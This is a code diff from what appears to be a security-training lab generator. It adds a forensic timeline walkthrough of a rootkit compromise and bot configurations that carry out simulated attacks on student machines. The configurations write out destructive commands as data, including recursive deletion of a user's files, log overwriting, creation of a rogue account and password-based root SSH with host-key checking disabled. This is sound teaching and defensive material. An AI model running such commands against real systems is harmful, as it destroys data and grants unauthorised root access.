Fsbin%2Fsln%0A2d090760f2df0f658706ec855d725f15%20%20%2Fsbin%2Fupdate%0A22696ad0cd7ed3fb12a53b6652377c93%20%20%2Fsbin%2Fchkconfig%0Aadce2dd0667ea12cba98416572e6754a%20%20%2Fsbin%2Fmkfs.msdos%0Aadce2dd0667ea12cba98416572e6754a%20%20%2Fsbin%2Fmkfs.vfat%0A04d0c4bbefa9d5c5bfed7bf6524f081b%20%20%2Fsbin%2Ffsck%0Aadce2dd0667ea12cba98416572e6754a%20%20%2Fsbin%2Fmkdosfs%0Aeb5bf84c5b600d60201c6e83158ba300%20%20%2Fsbin%2Ffsck.msdos%0Aeb5bf84c5b600d60201c6e83158ba300%20%20%2Fsbin%2Ffsck.vfat%0A9c1f91d4b35d2078415456b81a3fdabc%20%20%2Fsbin%2Farp%0Aeb5bf84c5b600d60201c6e83158ba300%20%20%2Fsbin%2Fdosfsck%0A06291fa59838cbb88cf143a84168b65f%20%20%2Fsbin%2Fbadblocks%0A0a61dda3c8b922cead62b2265ecbce7c%20%20%2Fsbin%2Fdebugfs%0Af8bbc37529a51c4953e6c938b8b391e4%20%20%2Fsbin%2Fdumpe2fs%0A9f359682bbfe9a6ead1e9ab04b1e8930%20%20%2Fsbin%2Fresize2fs%0A5e25b9d9d921677a52383799c963ee6a%20%20%2Fsbin%2Fmkfs.ext2%0A5e25b9d9d921677a52383799c963ee6a%20%20%2Fsbin%2Fmke2fs%0A7777a1b837a761ed6906ed9c2d3e783c%20%20%2Fsbin%2Ftune2fs%0A7777a1b837a761ed6906ed9c2d3e783c%20%20%2Fsbin%2Fe2label%0A53270f38c6a3f43428613f114d279669%20%20%2Fsbin%2Ffsck.ext2%0A53270f38c6a3f43428613f114d279669%20%20%2Fsbin%2Ffsck.ext3%0A895c40be5215e3818eb5afc0d640d0ba%20%20%2Fsbin%2Fip%0A53270f38c6a3f43428613f114d279669%20%20%2Fsbin%2Fe2fsck%0Aff3a6ee858044bebf178da643c88fc5f%20%20%2Fsbin%2Fhdparm%0A934de0ec515e48c57cd06ff787da487c%20%20%2Fsbin%2Farping%0A8b535524838696e5e01e806a0c4ea93f%20%20%2Fsbin%2Fifenslave%0Ad978101301991acb8d67a36daeb184b4%20%20%2Fsbin%2Flosetup%0A8b634fbd285665ca095ce22ab029dbf4%20%20%2Fsbin%2Fmingetty%0Afabfc46d2a078482d5857225a5b7d874%20%20%2Fsbin%2Fether-wake%0Ae984302652a0c59469a0d8826ae3cdeb%20%20%2Fsbin%2Fifconfig%0A9709aa0424621797a0f991f65eb37b2c%20%20%2Fsbin%2Fipmaddr%0A11ea54969173c15c65291f8249ed9879%20%20%2Fsbin%2Fiptunnel%0A20a07e25d9554b8e86ab290de87b1be5%20%20%2Fsbin%2Fmii-tool%0A5a13242156898151f8b10c8168d6742d%20%20%2Fsbin%2Fnameif%0A12098420bcd8a64c6f83bf7e82b5490e%20%20%2Fsbin%2Fplipconfig%0A2d01db100928913cf4c9bf94327fb98b%20%20%2Fsbin%2Froute%0A5d2c041b4e21570b15f84d17c08d87ba%20%20%2Fsbin%2Fslattach%0Ade70f2864a446a6b6fc38f48188a1cc6%20%20%2Fsbin%2Fparted%0A2c29e191305a853cafbde39d49ae0f45%20%20%2Fsbin%2Fdepmod%0A9fd08c3a7dbf9e02a5dbb470b812f7a3%20%20%2Fsbin%2Ftc%0A33584b41595dd8a3501800533f82cfb4%20%20%2Fsbin%2Fmkreiserfs%0Ace70571c6997b811117c7031b743d4c1%20%20%2Fsbin%2Freiserfsck%0Aabb14aaab95918da586b97cbef01e5da%20%20%2Fsbin%2Fresize_reiserfs%0Ac1c67d625ed755babda1c042e8cd4b8f%20%20%2Fsbin%2Funpack%0Afb20f00e461ec97ba4c3f2a7b245e053%20%20%2Fsbin%2Fhotplug%0Aee9d811477966a0f200d2056c1233306%20%20%2Fsbin%2Fusbmodules%0A3b638c8529c71d5c901e1f1e1dac7d74%20%20%2Fsbin%2Fifcfg%0A7d1d8d7f83f10daaff82fb367a7c527f%20%20%2Fsbin%2Frtmon%0A06884b32d19f050e02806bf78b637900%20%20%2Fsbin%2Fgenksyms.old%0A00e944e1bbe5c2213e7a73fd1985a394%20%20%2Fsbin%2Fgenksyms%0A460429259699c14bd8b559136d1336fe%20%20%2Fsbin%2Finsmod.static%0Aed5670c69de8648bd39eff700dd97cad%20%20%2Fsbin%2Finsmod%0A3e3d1c6a0b30ea910dc4813edb07ed05%20%20%2Fsbin%2Finsmod_ksymoops_clean%0A7f40ab11d90793e9346c1eb859a2f964%20%20%2Fsbin%2Fkernelversion%0A08a6e1111d60f349e2e98c2371ebcb00%20%20%2Fsbin%2Fmodinfo%0A6afcc10c062ae44266c3469dfaed09f0%20%20%2Fsbin%2Finstall-info%0A745a9bc89ec3349614ee660d941e9037%20%20%2Fsbin%2Fgrub-install%0A2d474693b66eb7977c4a19cc669db178%20%20%2Fsbin%2Fdhcpcd%0A085a8b9d57d1ac980eb8ab7f22bf1417%20%20%2Fsbin%2Fgrub%0Ac69cfa028caa012adf40bbd7598b68a3%20%20%2Fsbin%2Fdetect_multipath%0A8a81b12991e7c78dc03fb4f7eb4deb98%20%20%2Fsbin%2Fgrub-md5-crypt%0A45147401453afe4c855d3de529ffe066%20%20%2Fsbin%2Fsysctl%0A714a6a76979cd36be9bf35bb229caff4%20%20%2Fsbin%2Ffuser%0Af20e52e874f3eda159adbfd492d168fd%20%20%2Fsbin%2Fmkpv%0A30944c45bef81240a5b88b295ea0d43c%20%20%2Fsbin%2Fmkraid%0A730ac6387537ccfd2cd5aec1869e3fb5%20%20%2Fsbin%2Fpam_console_apply%0A028bbc7c7bfdade2f6a9184c8e07defc%20%20%2Fsbin%2Fraidstart%0Aeb036b9b4d2cd58f05653c1a8cd755d4%20%20%2Fsbin%2Fklogd%0Ad005c4060f374680b23142e212272e14%20%20%2Fsbin%2Fsyslogd%0A6d34a5bc81355a01016b23d76b4c15ca%20%20%2Fsbin%2Fswapon%0Af1315cd8ac6cc9af4243e4150693481f%20%20%2Fsbin%2Fgrubby%0A987853706571b005996736d8ccfb748f%20%20%2Fsbin%2Finstallkernel%0Ae8165f92fe3b8cfbf6b4b25acbd60dc3%20%20%2Fsbin%2Fmkinitrd%0A11323d7d2d580e8b062ee4a6b8ee82a5%20%20%2Fsbin%2Fnash%0A86586542a351fdaf805f7033fc9191f6%20%20%2Fsbin%2Fnew-kernel-pkg%0A03fba4386784b6c093b1b79f3298bfa3%20%20%2Fsbin%2Flilo%0A63019eec7ebfc56c90eebe86514d2200%20%20%2Fsbin%2Fmkbootdisk%0Aea5807eaa914c99ce8cf00748a58bbd0%20%20%2Fsbin%2Fmkkerneldoth%0A6ad1cb8c0ff57081a3f8be8fe37e0ff3%20%20%2Fsbin%2Fpam_tally%0Ad073ed5250d08103617b898b6ca12090%20%20%2Fsbin%2Fpwdb_chkpwd%0A86dea468fa3723c615a7755341ad93ab%20%20%2Fsbin%2Funix_chkpwd%0A832ee3cc27e3dd4d6daa23cfdfaac102%20%20%2Fsbin%2Fhalt%0Abba401e030ccb3e1f56d21a8fb3b427a%20%20%2Fsbin%2Finit%0A2cc2c5fbd824b6d7d45eba0faf104738%20%20%2Fsbin%2Fkillall5%0Ad5a4ccb5f308d91fc29c167fb2e34086%20%20%2Fsbin%2Frunlevel%0Ae26c81e080729cce7470bb77e6981b9a%20%20%2Fsbin%2Fshutdown%0Aeef9aefafaaecba39ce5f573eb8f08d9%20%20%2Fsbin%2Fsulogin%0A5a91a00d09ef058a68bed3ce8dae2833%20%20%2Fsbin%2Fagetty%0A8f1c58b35b40b769a5b678fa11b3c69d%20%20%2Fsbin%2Fblockdev%0A6806c43167253ecee62ce1ab8c6e7db4%20%20%2Fsbin%2Fctrlaltdel%0Aad728124871eee37a385e93a74198bfb%20%20%2Fsbin%2Felvtune%0A60e7134606d876f337664aea5e95a710%20%20%2Fsbin%2Ffdisk%0Af1f26538942aa2e1053c21b70852c633%20%20%2Fsbin%2Ffsck.minix%0A8dcf30f0535faf11e05d7580fc2fc66d%20%20%2Fsbin%2Fhwclock%0A6ae69dc23ce1c8a16745a38b4ed23606%20%20%2Fsbin%2Fkbdrate%0A3f3e0f96d0d4b4069d05959fa87f38a0%20%20%2Fsbin%2Fmkfs%0A1b20d5be49d4d0bab160f41b49ad8903%20%20%2Fsbin%2Fmkfs.bfs%0Af4b4ce482d6a50454915f98d6d06a435%20%20%2Fsbin%2Fmkfs.minix%0Af0e101d83175f85a1998d2cdd23c65ec%20%20%2Fsbin%2Fmkswap%0Ab21c6432ca007c4a49dd9657f4669092%20%20%2Fsbin%2Fnologin%0A60c3c52d850381a1242543c4608de6ab%20%20%2Fsbin%2Fpivot_root%0A39ef587b77896ed1c988e9f56b66c824%20%20%2Fsbin%2Frescuept%0Aab64b6472023ae451b0ed7aaded40260%20%20%2Fsbin%2Fsfdisk%0A6ce32699633c31ae6014fa264f2b412c%20%20%2Fsbin%2Fconsoletype%0Af082854c671d6b0fe7f873043a72ab27%20%20%2Fsbin%2Fgetkey%0Abc8949c73272c9f9478dc71bf74295b4%20%20%2Fsbin%2Fifdown%0A11124069a42c0af4917f44093c46d2cc%20%20%2Fsbin%2Fifup%0A13049171f00fc7e2a105a52d43007684%20%20%2Fsbin%2Finitlog%0A440ca6093f7005caaebe94d057a914b9%20%20%2Fsbin%2Fminilogd%0A444bdcd819d9feee5d736cd0d8958c6e%20%20%2Fsbin%2Fipchains-restore%0A9bad0090b3cda14b8d4edcb8cc99e8e9%20%20%2Fsbin%2Fnetreport%0A5c201b8693adff77ee23a2df3b62d771%20%20%2Fsbin%2Fppp-watch%0A2df5c29c9dbb1de1019f71debb8be10c%20%20%2Fsbin%2Fservice%0A53b140bbf5158a27f87cb48446fd25ec%20%20%2Fsbin%2Fsetsysfont%0Ad924006870d777c386749951e05fbb14%20%20%2Fsbin%2Fipchains%0Af4cc4e99d09e5871ebe5c26490a376f3%20%20%2Fsbin%2Fiptables-restore%0A3be91a964ee5f8812a018713d053d7ad%20%20%2Fsbin%2Fipchains-save%0A97f39fbda9d2c9dc4ffd1d793d0a6097%20%20%2Fsbin%2Fipfwadm%0Aa6fc28f1dae4da1c42d2e4a69abc37b1%20%20%2Fsbin%2Fiptables%0A2e1c23156a81c4c98a2acfeecf1f99d9%20%20%2Fsbin%2Fiptables-save%0A873eb3c84d746fdd9115c44fe8436fc1%20%20%2Fsbin%2Flspci%0Aaf3c8de11eec9871393fa4b1a08c873c%20%20%2Fsbin%2Fsetpci%0A48c29b23b48984718691326e85f290bd%20%20%2Fsbin%2Fconvertquota%0A74d5dac3aa6ec4fa01157f8c4a875d93%20%20%2Fsbin%2Fquotacheck%0A5ba5c5d198d1ce5aaf794c92ae34a211%20%20%2Fsbin%2Fquotaon%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2F.autofsck%0A \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/resources.md.erb b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/resources.md.erb new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/resources.md.erb @@ -0,0 +1 @@ + diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/timeline.md.erb b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/timeline.md.erb new file mode 100644 index 000000000..11ae04b7c --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/timeline.md.erb @@ -0,0 +1,62 @@ +### Timeline analysis + +It helps to reconstruct the timeline of events on the system, to get a better understanding. Software such as Sluthkit (either using the Autopsy frontend or the mactime command line tool) analyses the MAC times of files (that is, the most recent modification, most recent access, and most recent inode change[^1]) to reconstruct a sequence of file access events. + +In another Firefox tab, ==visit [*http://localhost:9999/autopsy*](http://localhost:9999/autopsy), click "Open Case", "Ok", "Ok".== + +==Click "File Activity Timelines".== + +==Click "Create Data File".== + +==Select "/1/ hda1.img-0-0 ext".== + +==Click "Ok".== + +==Click "Ok".== + +For "5. Select the UNIX image that contains the /etc/passwd and /etc/group files", ==select "hda1.img-0-0".== + +Wait while a timeline is generated. + +==Click "Ok".== + +Once analysis is complete, the timeline is presented. Note that the timeline starts with files accessed on Jan 01 1970. + +==Click "Summary".== + +A number of files are specified as accessed on Jan 01 1970. What is special about this date? + +==Browse through the history.== Note that it is very detailed, and it is easy to get lost (and waste time) in irrelevant detail. + +The access date you previously recorded (for "/lib/.x/.boot") was in August 2003, so this is probably a good place to start. + +==Browse to August 2003 on the timeline==, and follow along: + +Note that on the 6th of August it seems many files were accessed, and not altered (displayed as ".a.."[^2]). This is probably the point at which the md5 hashes of all the files on the system were collected. + +On 9th August a number of config files were accessed including "/sbin/runlevel", "/sbin/ipchains", and "/bin/login". This indicates that the system was likely rebooted at this time. + +On 10th August, a number of files that have since been deleted were accessed. + +Shortly thereafter the inode data was changed (displayed as "..c.") for many files. Then many files owned by the *apache* user were last modified before they were deleted. The apache user goes on to access some more files, and then a number of header files (.h) were accessed, presumably in order to compile a C program from source. Directly after, some files were created, including "/usr/lib/adore", the Adore rootkit. + +At 23:30:54 /root/.bash\_history and /var/log/messages were symlinked to /dev/null. + +Next more header files were accessed, this time Linux kernel headers, presumably to compile a kernel module (or perhaps some code that tries to tamper with the kernel). This was followed by the creation of the SuckIT rootkit files, which we previously investigated. + +Note that a number of these files are created are again owned by the "apache" user. + +What does this tell you about the likely source of the compromise? + +Further down, note the creation of the /root/sslstop.tar.gz file which was extracted (files created), then compiled and run. Shortly after, the Apache config file (/etc/httpd/conf/httpd.conf) was modified. + +Why would an attacker, after compromising a system, want to stop SSL support in Apache? + +Meanwhile the attacker has accidently created a /.bash\_history, which has not been deleted. + +Further down we see wget accessed and used to download the /etc/opt/psyBNC2.3.1.tar.gz file, which we investigated earlier. + +This file was then extracted, and the program compiled. This involved accessing many header (.h) files. Finally, the "/etc/opt/psybnc/psybnc.conf" file is modified, presumably by the attacker, in order to configure the behaviour of the program. + +--- + diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/example_bot.pp b/modules/generators/structured_content/hackerbot_config/example_bot/example_bot.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/files/example_bot.xml b/modules/generators/structured_content/hackerbot_config/example_bot/files/example_bot.xml new file mode 100644 index 000000000..144f1efd7 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/example_bot/files/example_bot.xml @@ -0,0 +1,83 @@ + + + + + Bob + + config/AIML + + + + sshpass -p randompassword ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash + + + Hi there. Just to introduce myself, I also work here. + + + Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along + When you are ready, simply say 'ready'. + 'Ready'? + Better hurry, the attack is imminent... Let me know when you're 'ready'. + Ok, I'll do what I can to move things along... + Moving things along to the next attack... + Ok, next attack... + Ok, I'll do what I can to back things up... + Ok, previous attack... + Ok, backing up. + Ok, skiping it along. + Let me see what I can do to goto that attack. + That was the last attack for now. You can rest easy, until next time... (End.) + That was the last attack. Game over? + You are back to the beginning! + This is where it all began. + Ok. Gaining shell access, and running post command... + Hacking in progress... + Attack underway... + Here we go... + We are in to your system. + You are pwned. + We have shell. + Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Don't ask me. I just work here. + + + Oh no. Failed to get shell... You need to let us in. + + + + An attempt to delete /home/dropbear/trade_secrets/credit_card is coming. Stop the attack using access controls. + + rm --interactive=never /home/dropbear/trade_secrets/credit_card; echo $? + + Permission denied|Operation not permitted + :) Well done! + true + + + 0 + :( We managed to delete your file! You need to use access controls to protect the file. + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + + + + + + diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/example_bot/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/example_bot/secgen_local/local.rb new file mode 100644 index 000000000..a9bbc7697 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/example_bot/secgen_local/local.rb @@ -0,0 +1,39 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_string_generator.rb' +require 'erb' +require 'fileutils' +class HackerbotConfigGenerator < StringGenerator + attr_accessor :accounts + attr_accessor :flags + attr_accessor :root_password + LOCAL_DIR = File.expand_path('../../',__FILE__) + FILE_PATH = "#{LOCAL_DIR}/files/example_bot.xml" + + def initialize + super + self.module_name = 'Hackerbot Config Generator' + self.accounts = [] + self.flags = [] + self.root_password = '' + end + + def get_options_array + super + [['--root_password', GetoptLong::REQUIRED_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--root_password' + self.root_password << arg; + end + end + + def generate + self.outputs << File.read(FILE_PATH) + end + +end + + +HackerbotConfigGenerator.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/example_bot/secgen_metadata.xml new file mode 100644 index 000000000..58a68a2ab --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/example_bot/secgen_metadata.xml @@ -0,0 +1,22 @@ + + + + Hackerbot config for an example bot + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a basic example config for hackerbot. + + hackerbot_config + linux + + root_password + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/hacker_vs_hackerbot_1.pp b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/hacker_vs_hackerbot_1.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/secgen_local/local.rb new file mode 100644 index 000000000..a5b8b3ab0 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/secgen_local/local.rb @@ -0,0 +1,45 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb' + +class IDS < HackerbotConfigGenerator + + attr_accessor :backup_server_ip + attr_accessor :desktop_ip + attr_accessor :hackerbot_server_ip + + def initialize + super + self.module_name = 'Hackerbot Config Generator HvHB1' + self.title = 'HvHB1' + + self.local_dir = File.expand_path('../../',__FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + + self.backup_server_ip = [] + self.desktop_ip = [] + self.hackerbot_server_ip = [] + end + + def get_options_array + super + [['--backup_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--desktop_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--hackerbot_server_ip', GetoptLong::REQUIRED_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--backup_server_ip' + self.backup_server_ip << arg; + when '--desktop_ip' + self.desktop_ip << arg; + when '--hackerbot_server_ip' + self.desktop_ip << arg; + end + end + +end + +IDS.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/secgen_metadata.xml new file mode 100644 index 000000000..14008e214 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/secgen_metadata.xml @@ -0,0 +1,50 @@ + + + + Hackerbot config for a test covering the first few hackerbot labs + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a hackerbot for a lab test.. + + hackerbot_config + linux + + accounts + flags + root_password + backup_server_ip + desktop_ip + hackerbot_server_ip + + + + + + + vagrant + + + + + + + + + + + + + + + + + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/shared/labsheet.html.erb new file mode 100644 index 000000000..72dab611a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/shared/labsheet.html.erb @@ -0,0 +1,29 @@ + + + <%= self.title %> + + + + + +
+ + <%= self.html_rendered %> + +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/shared/license.md.erb new file mode 100644 index 000000000..8e89ace31 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/shared/license.md.erb @@ -0,0 +1,4 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/backups_attack1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/backups_attack1.xml.erb new file mode 100644 index 000000000..4299c9186 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/backups_attack1.xml.erb @@ -0,0 +1,23 @@ + + +<% $file = SecureRandom.hex(2) %> + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $backup_server_ip %> /bin/bash + + Use scp to copy the desktop /bin/ directory to the backup_server: <%= $backup_server_ip %>:/home/<%= $main_user %>/remote-bin-backup-<%= $file %>/, which should then include the backed up bin/ directory. + + ls /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/ls /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/mkdir > /dev/null; echo $? + + No such file or directory + :( You didn't copy to the remote /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/... Remember that the trailing / changes whether you are copying directories or their contents... + + + 0 + :) Well done! <%= $flags.pop %> + true + + + :( Something was not right... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/backups_rsync_steps_attacks.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/backups_rsync_steps_attacks.xml.erb new file mode 100644 index 000000000..f05ae45bf --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/backups_rsync_steps_attacks.xml.erb @@ -0,0 +1,115 @@ + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $backup_server_ip %> /bin/bash + + + It's your job to set up remote backups for <%= $second_user %> (a user on your system). Use rsync to create a full (epoch) remote backup of /home/<%= $second_user %> from your desktop system to the backup_server: <%= $backup_server_ip %>:/home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>. + + ls /home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>/<%= $files.sample %> > /dev/null; echo $? + + 0 + :) Well done! <%= $flags.pop %> + true + + + No such file or directory + :( You didn't copy to remote ssh /home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>/ Remember that the trailing / changes whether you are copying directories or their contents... + + + :( Doesn't look like you have backed up all of <%= $second_user %>'s files to /home/<%= $main_user %>/remote-rsync-backup/<%= $second_user %>. Try SSHing to the server and look at what you have backed up there. + + + + +<% $first_notes = SecureRandom.hex(2) %> +<% $hidden_flag = 'not_a_flag' %> + + + The <%= $second_user %> user is about to create some files... + + sudo -u <%= $second_user %> bash -c 'echo "Note to self: drink more water <%= $first_notes %>" > /home/<%= $second_user %>/notes; echo "Beep boop beep" > /home/<%= $second_user %>/logs/log2; echo <%= $hidden_flag %> > /home/<%= $second_user %>/personal_secrets/flag; echo $?' + + Permission denied|Operation not permitted|Read-only + :( Oh no. Access errors. <%= $second_user %> failed to write the files... The user needs to be able to write to their files! + + + 0 + Ok, good... + true + + + :( Something went wrong... + + + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $backup_server_ip %> /bin/bash + + + Create a differential backup of <%= $second_user %>'s desktop files to the backup_server: <%= $backup_server_ip %>:/home/<%= $main_user %>/remote-rsync-differential1/. + + + + grep '<%= $hidden_flag %>' /home/<%= $main_user %>/remote-rsync-differential1/<%= $second_user %>/personal_secrets/flag > /dev/null; status1=$?; ls /home/<%= $main_user %>/remote-rsync-differential1/<%= $second_user %>/<%= $files.sample %> > /dev/null; status2=$?; echo $status1$status2 + + 0[1-9] + :) Well done! <%= $flags.pop %> + true + + + [1-9][1-9] + :( You didn't backup to the specified remote directory. + + + 00 + :( You backed up to the correct location, but it wasn't an differential backup... You probably need to ssh in and delete that last backup and try again. + + + :( Something went wrong... + + + + + + + + I am going to attack you now! + + rm -r /home/<%= $second_user %>/*; echo $? + + Permission denied|Operation not permitted|Read-only + :( Oh no. Access errors. <%= $second_user %>. You need to let this happen! + + + 0 + I just deleted all <%= $second_user %>'s files! They don't call me Hackerbot for nothin'! + true + + + :( Something went wrong... + + + + + + + + + Restore <%= $second_user %>'s notes file to it's earliest state + + grep '<%= $first_notes %>' /home/<%= $second_user %>/notes > /dev/null; status1=$?; echo $status1 + + 0 + :) Well done! <%= $flags.pop %> + true + + + [0-9] + :( That's not the earliest state... + + + :( Something went wrong... + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/file_perms_attack_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/file_perms_attack_1.xml.erb new file mode 100644 index 000000000..37fdb90c4 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/file_perms_attack_1.xml.erb @@ -0,0 +1,19 @@ + +<% $file = SecureRandom.hex(2) %> + An attempt to write /tmp/<%= $file %> is coming from user <%= $second_user %>. Stop the attack by creating the file without permission for other users to write to the file. + + sudo -u <%= $second_user %> bash -c 'echo boom > /tmp/<%= $file %>'; echo $? + + Permission denied + :) Well done! <%= $flags.pop %> + true + + + 0 + :( We managed to write to your file! You need to use access controls to protect the file. Create a new file. + + + :( Something was not right... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/file_perms_attack_2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/file_perms_attack_2.xml.erb new file mode 100644 index 000000000..468dedb29 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/file_perms_attack_2.xml.erb @@ -0,0 +1,29 @@ + + +<% $log_file = $log_files.sample %> + + An attempt to delete /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack using file attributes. + + rm --interactive=never /home/<%= $main_user %>/<%= $log_file %>; echo $? + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + Permission denied + :( You did protect the file, but not using file attributes. + + + 0 + :( We managed to delete your file! You need to use file attributes to protect the file. Create a new file. + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/file_perms_attack_3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/file_perms_attack_3.xml.erb new file mode 100644 index 000000000..cbf73f007 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/file_perms_attack_3.xml.erb @@ -0,0 +1,24 @@ + + +<% $log_file = $log_files.first %> + + An attempt to overwrite /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack by making the file append only. + + echo 'your logs are gone!' > /home/<%= $main_user %>/<%= $log_file %>; echo 'appended!' >> /home/<%= $main_user %>/<%= $log_file %>; tail -n2 /home/<%= $main_user %>/<%= $log_file %>; echo $? + + appended! + :( You stopped anything from being appended to the file. What kind of log file do you think this is? + + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/file_perms_attack_4.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/file_perms_attack_4.xml.erb new file mode 100644 index 000000000..1a091f868 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/file_perms_attack_4.xml.erb @@ -0,0 +1,21 @@ + + + + An attempt to edit a file in /etc/ is coming. Stop the attack by bind mounting /etc/ as read-only. (Don't forget to 'sudo umount /etc/' to reverse this after you complete this challenge!) + + echo 'not read only!' > /etc/you_were_hacked; adduser --disabled-password --gecos "" yourehacked + + Read-only file system + :) Well done! <%= $flags.pop %> + + + + Permission denied|Operation not permitted + :( You stopped the attack, but not by using read only bind mounting... + + + :( Something was not right... + + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack1.xml.erb new file mode 100644 index 